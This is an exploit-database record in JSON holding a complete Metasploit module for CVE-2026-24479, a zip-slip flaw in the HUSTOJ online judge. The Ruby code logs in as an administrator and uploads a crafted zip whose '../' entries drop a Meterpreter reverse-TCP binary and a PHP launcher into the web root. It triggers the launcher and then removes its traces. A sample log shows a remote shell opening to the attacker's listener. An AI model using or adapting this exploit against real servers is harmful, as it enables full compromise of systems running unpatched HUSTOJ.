{"exploit":{"id":"EDB-52539","name":"HUSTOJ Zip-Slip 26.01.24 - Remote Code Execution (RCE) (Metasploit)","description":"HUSTOJ Zip-Slip 26.01.24 - Remote Code Execution (RCE) (Metasploit)","cves":["CVE-2026-24479"],"author":"Marshall Whittaker","published":"2026-04-30","platform":"multiple","type":"webapps","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52539","path":"exploits/multiple/webapps/52539.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52539.rb","vulnerabilities":[{"id":"CVE-2026-24479","state":"PUBLISHED","title":"HUSTOJ has Arbitrary File Write (Zip Slip) in Problem Import Modules that leads to RCE","titleSource":"CVE Program","description":"HUSTOF is an open source online judge based on PHP/C++/MySQL/Linux for ACM/ICPC and NOIP training. Prior to version 26.01.24, the problem_import_qduoj.php and problem_import_hoj.php modules fail to properly sanitize filenames within uploaded ZIP archives. Attackers can craft a malicious ZIP file containing files with path traversal sequences (e.g., ../../shell.php). When extracted by the server, this allows writing files to arbitrary locations in the web root, leading to Remote Code Execution (RCE). Version 26.01.24 contains a fix for the issue.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-24479","cvss":{"version":"4.0","baseScore":9.3,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-24479"},"updatedAt":"2026-01-27T14:42:04.040Z","retrievedAt":"2026-11-25T16:15:50.619Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52539.png?v=2","url":"https://exploitbin.com/exploits/EDB-52539","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52539/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52539/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: HUSTOJ Zip-Slip v26.01.24 -  RCE\n# Date: 2026-02-14\n# Exploit Author: Marshall Whittaker / oxagast\n# Vendor Homepage: https://github.com/zhblue/hustoj\n# Software Link: http://123.158.38.129:8090/livecd/HUSTOJ25.05.iso\n(LiveCD, or see above git repo)\n# Version: Before v26.01.24\n# Tested on: Ubuntu\n# CVE:  CVE-2026-24479\n\n\n\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n#       This payload is configured for:\n#       msfvenom -p linux/x86/meterpreter_reverse_tcp --format elf\n#\n#  Patch:\n#        $file_name = $path.zip_entry_name($dir_resource);\n#        $file_name=str_replace('../', '', $file_name);\n#        $file_path = substr($file_name,0,strrpos($file_name, \"/\"));\n#\n# msf exploit(local/test/hustoj_problem_import_rce) > exploit\n# [*] Started reverse TCP handler on 10.0.1.35:4444\n# [*] Running automatic check (\"set AutoCheck false\" to disable)\n# [+] The target is vulnerable.\n# [+] Payload generated!\n# [*] Random payload tag is: 886b0 ...\n# [+] Zip file generated!\n# [+] Connected to the target webserver!\n# [+] Logged in successfully!\n# [*] Checking if this account has administrative privileges...\n# [+] This is an admin account!\n# [*] Uploading the payload...\n# [+] Accessed the problem import page!\n# [+] Payload uploaded!...\n# [*] Waiting on files to be extracted serverside...\n# [*] This is where the zipslip happens...\n# [*] Triggering the php script...\n# [*] Meterpreter session 21 opened (10.0.1.35:4444 -> 10.0.1.23:51080) at 2026-02-13 06:01:07 -0500\n# [*] Cleaning up the payload caller and shell files...\n# [+] Boom!! Have fun!\n#\n# meterpreter >\n#\n#\nrequire 'msf/core'\nrequire 'nokogiri'\nrequire 'digest/md5'\n\n# Metasploit module for exploiting HUSTOJ problem import RCE (CVE-2026-24479)\nclass Metasploit3 < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n  include Msf::Exploit::Remote::HttpClient\n  prepend Msf::Exploit::Remote::AutoCheck\n  def initialize(info = {})\n    super(update_info(info,\n                      'Name' => 'Authenticated admin can upload crafted zip file for RCE',\n                      'Description' => <<~DESC,\n                        A user with administrative privileges can abuse the problem_import_qduoj.php CGI script\n                        using a crafted zip file (zip-slip) to traverse backwards through the filesystem to the\n                        webroot, where they can extract a PHP file containing a shell to get full RCE in the\n                        context of the webserver.\n                      DESC\n                      'Author' => [\n                        'Marshall Whittaker',\n                        'LoTuS and friends',\n                        'ling101w'\n                      ],\n                      'License' => MSF_LICENSE,\n                      'ARCH' => [ARCH_X86],\n                      'References' => [\n                        ['URL', 'https://github.com/oxagast/oxasploits/blob/JoshuaJohnWard/exploits' \\\n                         '/CVE-2026-24479/hustoj_problem_import_rce.rb'],\n                        ['URL', 'https://github.com/zhblue/hustoj/commit/902bd09e6d0011fe89cd84d423' \\\n                         '6899314b33101f'],\n                        ['URL', 'https://github.com/zhblue/hustoj/security/advisories/GHSA-xmgg-2rw4-7fxj'],\n                        ['CVE', '2026-24479'],\n                        ['CWE', '22']\n                      ],\n                      'Platform' => 'linux',\n                      'Targets' => [\n                        [\n                          'HUSTOJ < v26.01.24 (commit 89044beb4cea758a353fd133895dec76822f4ddc)',\n                          { 'Privileged' => false }\n                        ]\n                      ],\n                      'DefaultOptions' => {\n                        'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp'\n                      },\n                      'Notes' => {\n                        'Stability' => [CRASH_SAFE],\n                        'Reliability' => [REPEATABLE_SESSION],\n                        'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]\n                      },\n                      'DisclosureDate' => '2026-01-26',\n                      'DefaultTarget' => 0))\n    register_options(\n      [\n        Opt::RPORT(80),\n        Opt::LPORT(4444),\n        OptString.new('RHOST', [true, \"The target machine's IP\", '']),\n        OptString.new('LHOST', [true, \"This machine's IP\", '']),\n        OptString.new('USERNAME', [true, \"The HUSTOJ administrative user's username\", 'admin']),\n        OptString.new('PASSWORD', [true, \"The HUSTOJ administrative user's password\", '']),\n        OptString.new('DropFile', [true, 'The name of the file to drop on the target (without extension)', 'msf']),\n        OptInt.new('TRIGGER_WAIT', [true, 'Number of seconds to wait for shell call', 2]),\n        OptInt.new('traverse_limit', [true, 'Number of ../ traversals to include in zip slip paths', 6])\n      ], self.class\n    )\n    register_advanced_options([\n                                OptBool.new('HANDLER',\n                                            [true, 'Start an exploit/multi/handler job to receive the connection',\n                                             true])\n                              ])\n    deregister_options('VHOST', 'Proxies', 'RHOSTS', 'SSL')\n  end\n\n  # Check if the target is likely vulnerable\n  def check\n    res = send_request_cgi(\n      'uri' => '/include/reinfo.js',\n      'method' => 'GET',\n      'ctype' => 'application/javascript'\n    )\n    return Exploit::CheckCode::Unknown if res.nil?\n    return Exploit::CheckCode::Appears if res.code != 200\n    return Exploit::CheckCode::Detected if res.code == 200 &&\n                                           res.body.include?('function escapeHtml(str) {')\n    return Exploit::CheckCode::Vulnerable if res.code == 200 &&\n                                             !res.body.include?('function escapeHtml(str) {')\n\n    Exploit::CheckCode::Safe\n  end\n\n  # Authenticate as admin and return session cookies\n  def login(user, pass)\n    res = send_request_cgi(\n      {\n        'uri' => '/',\n        'method' => 'GET',\n        'keep_cookies' => true,\n        'ctype' => 'text/html'\n      }, 3\n    )\n    if res && res.code == 200\n      print_good(\"Connected to the target webserver!         #{datastore['RHOST']}:#{datastore['RPORT']}\")\n    else\n      fail_with(\n        Failure::Unreachable,\n        'Failed to connect to the target webserver!'\n      )\n    end\n    cook = res.get_cookies\n    send_request_cgi(\n      'uri' => '/csrf.php',\n      'cookies' => cook,\n      'method' => 'GET',\n      'keep_cookies' => true,\n      'ctype' => 'text/html'\n    )\n    send_request_cgi(\n      'uri' => '/loginpage.php',\n      'method' => 'GET',\n      'keep_cookies' => true,\n      'ctype' => 'text/html'\n    )\n    res = send_request_cgi(\n      'uri' => '/csrf.php',\n      'cookies' => cook,\n      'method' => 'GET',\n      'keep_cookies' => true,\n      'ctype' => 'text/html'\n    )\n    doc = Nokogiri::HTML(res.body)\n    csrf = doc.css('input[name=\"csrf\"]').first['value']\n    send_request_cgi(\n      'method' => 'POST',\n      'uri' => '/login.php',\n      'cookies' => cook,\n      'keep_cookies' => true,\n      'ctype' => 'application/x-www-form-urlencoded',\n      'vars_post' => {\n        'user_id' => user,\n        'password' => Digest::MD5.hexdigest(pass),\n        'csrf' => csrf\n      }\n    )\n\n    # Check if login was successful\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => '/modifypage.php',\n      'cookies' => cook,\n      'keep_cookies' => true\n    )\n    if res && res.code == 200 && res.body.include?('userinfo.php')\n      stars = '*' * pass.length\n      print_good(\"Logged in successfully!                    #{user}:#{stars}\")\n    else\n      fail_with(\n        Failure::BadConfig,\n        'Failed to authenticate! Check credentials.'\n      )\n    end\n\n    # Check if the account has admin privileges\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => '/admin/menu2.php',\n      'cookies' => cook,\n      'keep_cookies' => true\n    )\n    if res && res.code == 200 && res.body.include?('problem_import.php')\n      print_good('This is an admin account!                  res.body includes problem_import.php')\n    else\n      print_error('This does not appear to be an admin account! Attempting to continue,')\n      print_error('   but the exploit may fail at the payload upload stage...')\n    end\n    cook\n  end\n\n  # Upload the malicious zip payload using the admin session\n  def upload_payload(zip_dat, rand_tag, cook, dds)\n    zip_size_kb = (zip_dat.length / 1024.0).round(2)\n    print_status(\"Uploading the payload...                   #{zip_size_kb}kb\")\n    # Access the problem import page to get the postkey\n    res = send_request_cgi(\n      'method' => 'GET',\n      'cookies' => cook,\n      'uri' => '/admin/problem_import.php',\n      'keep_cookies' => true,\n      'ctype' => 'text/html'\n    )\n    if res && res.code == 200 && res.body.include?('problem_import_qduoj.php')\n      print_good('Accessed the problem import page!          /admin/problem_import.php')\n    else\n      fail_with(\n        Failure::UnexpectedReply,\n        'Failed to access the problem import page!'\n      )\n    end\n    doc = Nokogiri::HTML(res.body)\n    postkey_input = doc.at_css('input[name=\"postkey\"]')\n    postkey = postkey_input ? postkey_input['value'] : nil\n    fail_with(Failure::UnexpectedReply, 'Failed to retrieve the postkey!') if postkey.nil? || postkey.empty?\n    form_boundary = \"----WebKitFormBoundary#{rand_tag}\"\n    form_data = <<~FORMDATA\n      --#{form_boundary}\n      Content-Disposition: form-data; name=\"fps\"; filename=\"#{datastore['dropfile']}.zip\"\n      Content-Type: application/zip\n\n      #{zip_dat}\n      --#{form_boundary}\n      Content-Disposition: form-data; name=postkey\n\n      #{postkey}\n      --#{form_boundary}--\n    FORMDATA\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => '/admin/problem_import_qduoj.php',\n      'cookies' => cook,\n      'keep_cookies' => true,\n      'ctype' => \"multipart/form-data; boundary=#{form_boundary}\",\n      'data' => form_data\n    )\n    if res && res.code == 200\n      print_good(\"Payload uploaded!                          #{datastore['dropfile']}.zip\")\n    else\n      print_error('Failed to upload the payload, trying again for a different revision...')\n      form_data = <<~FORMDATA\n        --#{form_boundary}\n        Content-Disposition: form-data; name=\"fps\"; filename=\"#{datastore['dropfile']}.zip\"\n        Content-Type: application/zip\n\n        #{zip_dat}\n        --#{form_boundary}\n      FORMDATA\n      res = send_request_cgi(\n        'method' => 'POST',\n        'uri' => '/admin/problem_import_qduoj.php',\n        'cookies' => cook,\n        'keep_cookies' => true,\n        'ctype' => \"multipart/form-data; boundary=#{form_boundary}\",\n        'data' => form_data\n      )\n      if res && res.code == 200\n        print_good(\"Payload uploaded!           #{datastore['dropfile']}.zip\")\n      else\n        fail_with(Failure::UnexpectedReply, 'Failed to upload the payload!')\n      end\n    end\n    print_status(\"This is where the zipslip happens...       #{dds} (levels: #{datastore['traverse_limit']})\")\n  end\n\n  # Trigger the uploaded PHP shell to execute the payload\n  def trigger_sploit(rand_tag)\n    print_status(\"Triggering the php script...               #{datastore['dropfile']}-#{rand_tag}.php\")\n    send_request_raw(\n      {\n        'uri' => \"/#{datastore['dropfile']}-#{rand_tag}.php\",\n        'ctype' => 'text/html',\n        'method' => 'GET'\n      },\n      datastore['TRIGGER_WAIT']\n    )\n  end\n\n  # Clean up dropped files after exploitation\n  def cleanup\n    super\n    send_request_raw(\n      {\n        'uri' => '/cleanup-msf.php',\n        'ctype' => 'text/html',\n        'method' => 'GET'\n      }\n    )\n    print_status('Cleaning up the payload caller and shell files...')\n    print_good('Boom!! Have fun!') unless framework.sessions.length.zero?\n  end\n\n  # Main exploit logic\n  def exploit\n    # Generate the payload ELF binary\n    pay = framework.modules.create(datastore['payload'])\n    pay.datastore['LHOST'] = datastore['LHOST']\n    pay.datastore['RHOST'] = datastore['RHOST']\n    pay.datastore['LPORT'] = datastore['LPORT']\n    shell_gend = pay.generate_simple({ 'Format' => 'elf' })\n    if shell_gend == ''\n      fail_with(\n        Failure::PayloadFailed,\n        'Payload generation failed!  Try a different payload?'\n      )\n    end\n    print_good(\"Payload generated!                         #{datastore['payload']}\")\n\n    # Generate a random tag for file uniqueness\n    rand_tag = '%05x' % rand(0xfffff + 1)\n    print_status(\"Random payload tag                         #{rand_tag}\")\n\n    # PHP script to call the ELF payload\n    shell_caller = \"<?php chmod('/tmp/#{datastore['dropfile']}-#{rand_tag}', 0700); system('/tmp/#{datastore['dropfile']}-#{rand_tag}'); ?>\"\n    # PHP script to clean up dropped files\n    cleanup_caller =   \"<?php unlink('/tmp/#{datastore['dropfile']}-#{rand_tag}'); unlink('/home/judge/src/web/#{datastore['dropfile']}\" \\\n                       \"-#{rand_tag}.php'); unlink('/home/judge/src/web/cleanup-msf.php'); ?>\"\n    dds = '../' * datastore['traverse_limit'] # Directory traversal string for zipslip\n    # Files to include in the malicious zip (zipslip paths for traversal)\n    files = [\n      { data: shell_gend, fname: \"#{dds}tmp/#{datastore['dropfile']}-#{rand_tag}\" },\n      { data: shell_caller, fname: \"#{dds}home/judge/src/web/#{datastore['dropfile']}-#{rand_tag}.php\" },\n      { data: cleanup_caller, fname: \"#{dds}home/judge/src/web/cleanup-msf.php\" },\n      { data: '{}', fname: 'problem_1010.json' },\n      { data: '', fname: 'problem_1010/1.in' },\n      { data: '', fname: 'problem_1010/1.out' }\n    ]\n    # Create the malicious zip archive\n    zip_dat = Msf::Util::EXE.to_zip(files)\n    fail_with(Failure::Unknown, 'Zip generation failed!') if zip_dat.empty?\n    print_good(\"Zip file generated!                        Files: #{files.length}\")\n\n    # Authenticate and upload the payload\n    cookies = login(datastore['USERNAME'], datastore['PASSWORD'])\n    upload_payload(zip_dat, rand_tag, cookies, dds)\n    # Trigger the PHP shell to execute the payload\n    trigger_sploit(rand_tag)\n  end\nend","sha256":"f5e782ad63bec1b6aed5eb65881aa8056bae185eb4f531e9adb81e885c783fb7","bytes":14292,"fetchedAt":"2026-11-26T11:18:06.207Z","encoding":"utf-8 (display only; download retains original bytes)"}